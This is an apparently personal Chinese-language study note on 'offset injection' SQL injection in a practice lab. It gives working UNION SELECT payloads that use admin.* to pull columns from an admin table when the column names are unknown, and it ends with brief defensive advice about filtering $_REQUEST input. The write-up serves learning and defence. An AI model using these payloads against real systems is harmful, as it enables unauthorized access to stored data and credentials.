只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!
偏移注入
偏移注入的应用场景是,当这个地方我们有了表名,但是字段名始终弄不来的解决方法。
先来了解一些数据库小知识
测试语句:
select * from school
代表的是查询school表
里面的所有数据(如图)
但其实我们可以换其他的语法,来达到相同的查询效果
测试语句:
select school.* from school
所以咱们这里的 school.*
代表的就是school表
下所有字段的意思。有了这样的了解,就可以开始进入偏移注入的靶场了
偏移注入靶场演练
进入到靶场页面,因为靶场还是上次那个Cookie注入的靶场,所以这里我们直接用Cookie注入测试注入。
可以看到这里是接受Cookie传参的,既然和上次的靶场一样,那就直接开始测试这里的字段数是多少
测试语句:
105 order by 1
测试发现这里有26个字段。测试语句看一下显错位有没有(表名是admin,在Cookie注入中得到的)
测试语句:
105 and 1 like 2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
输入完发现这里有3,5,7显错位,而且在图片处还有一个25,那么现在问题来了,我们怎么知道admin表
的字段数是多少呢?实际我们这看到的26个字段,并非是admin表里的字段数,而是当前网页的字段数。这里就可以引进刚刚学到的知识了,admin.*
,这里将admin.*
一个个放入26个字段数中,当网页不在报错的时候,我们就得出了admin
有多少个字段数了。
测试语句:
105 and 1 like 2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,admin.* from admin
经过一次次测试发现,admin.*
在11的位置网页不在报错,用26-10=16
,在将admin.*
以16个字段数的大小带进26个字段数去测试,分别放置在3,5,7和25的位置上。
测试语句:
105 and 1 like 2 union select 1,2,admin.*,19,20,21,22,23,24,25,26 from admin
105 and 1 like 2 union select 1,2,3,4,admin.*,21,22,23,24,25,26 from admin
105 and 1 like 2 union select 1,2,3,4,5,6,admin.*,23,24,25,26 from admin
105 and 1 like 2 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin
4条语句尝试之后,终于在25的显错位上找到了flag。
漏洞总结
这次的偏移注入,只是在上次Cookie注入上做的扩展和完善,毕竟不能全靠猜解去答题。有关防护方法的话,还是将后端语言进行一下升级,不要让其处于危险的版本中,严格控制后端语言接受传参的方式,不需要使用**$_REQUEST的地方尽量不要使用,非要使用的话,请对传参进来的值,做细致的过滤**,以保证不会让恶意语句得到执行。
《最好的防御,是明白其怎么实施的攻击》